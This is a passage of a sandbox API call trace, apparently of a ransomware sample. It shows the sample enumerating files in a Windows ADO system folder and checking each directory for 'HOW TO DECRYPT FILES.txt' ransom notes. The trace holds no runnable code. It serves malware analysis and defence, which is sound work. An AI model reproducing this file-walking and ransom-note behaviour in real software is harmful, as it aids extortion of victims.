lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.778] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.778] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.778] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.778] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msado15.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" [0059.778] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0059.778] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.778] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msado20.tlb") returned -1 [0059.778] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msado20.tlb") returned -1 [0059.778] lstrcmpiA (lpString1="", lpString2="msado20.tlb") returned -1 [0059.778] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned="msado15.dll" [0059.778] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.778] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.779] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.779] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.779] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msado20.tlb" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" [0059.779] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0059.779] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.779] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msado21.tlb") returned -1 [0059.779] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msado21.tlb") returned -1 [0059.779] lstrcmpiA (lpString1="", lpString2="msado21.tlb") returned -1 [0059.779] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned="msado20.tlb" [0059.779] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.779] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.779] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.779] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.779] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msado21.tlb" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" [0059.779] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0059.779] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.779] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msado25.tlb") returned -1 [0059.779] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msado25.tlb") returned -1 [0059.779] lstrcmpiA (lpString1="", lpString2="msado25.tlb") returned -1 [0059.779] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned="msado21.tlb" [0059.779] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.779] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.780] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.780] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.780] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msado25.tlb" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" [0059.780] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0059.780] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.780] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msado26.tlb") returned -1 [0059.780] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msado26.tlb") returned -1 [0059.780] lstrcmpiA (lpString1="", lpString2="msado26.tlb") returned -1 [0059.780] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned="msado25.tlb" [0059.780] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.780] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.780] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.780] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.780] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msado26.tlb" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" [0059.780] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0059.780] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.780] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msado27.tlb") returned -1 [0059.780] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msado27.tlb") returned -1 [0059.780] lstrcmpiA (lpString1="", lpString2="msado27.tlb") returned -1 [0059.780] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned="msado26.tlb" [0059.780] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.780] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.780] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.781] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.781] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msado27.tlb" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" [0059.781] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0059.781] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.781] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msado28.tlb") returned -1 [0059.781] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msado28.tlb") returned -1 [0059.781] lstrcmpiA (lpString1="", lpString2="msado28.tlb") returned -1 [0059.781] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned="msado27.tlb" [0059.781] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.781] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.781] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.781] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.781] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msado28.tlb" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" [0059.781] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0059.781] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.781] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadomd.dll") returned -1 [0059.781] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadomd.dll") returned -1 [0059.781] lstrcmpiA (lpString1="", lpString2="msadomd.dll") returned -1 [0059.781] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned="msado28.tlb" [0059.781] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.781] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.782] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.782] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.782] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msadomd.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" [0059.782] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0059.782] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.782] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadomd28.tlb") returned -1 [0059.782] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadomd28.tlb") returned -1 [0059.782] lstrcmpiA (lpString1="", lpString2="msadomd28.tlb") returned -1 [0059.782] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned="msadomd.dll" [0059.782] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.782] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.782] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.782] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.782] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msadomd28.tlb" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" [0059.782] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0059.782] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.782] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msador15.dll") returned -1 [0059.782] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msador15.dll") returned -1 [0059.782] lstrcmpiA (lpString1="", lpString2="msador15.dll") returned -1 [0059.782] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned="msadomd28.tlb" [0059.782] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.782] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.782] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.782] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.783] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msador15.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" [0059.783] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0059.783] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.783] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadox.dll") returned -1 [0059.783] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadox.dll") returned -1 [0059.783] lstrcmpiA (lpString1="", lpString2="msadox.dll") returned -1 [0059.783] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned="msador15.dll" [0059.783] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.783] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.783] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.783] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.783] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msadox.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" [0059.783] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0059.783] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.783] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadox28.tlb") returned -1 [0059.783] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadox28.tlb") returned -1 [0059.783] lstrcmpiA (lpString1="", lpString2="msadox28.tlb") returned -1 [0059.783] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned="msadox.dll" [0059.783] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.783] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.783] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.783] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.783] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msadox28.tlb" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" [0059.784] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0059.784] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.784] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadrh15.dll") returned -1 [0059.784] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadrh15.dll") returned -1 [0059.784] lstrcmpiA (lpString1="", lpString2="msadrh15.dll") returned -1 [0059.784] PathFindFileNameA (pszPath="C:\\Program Files\\Common 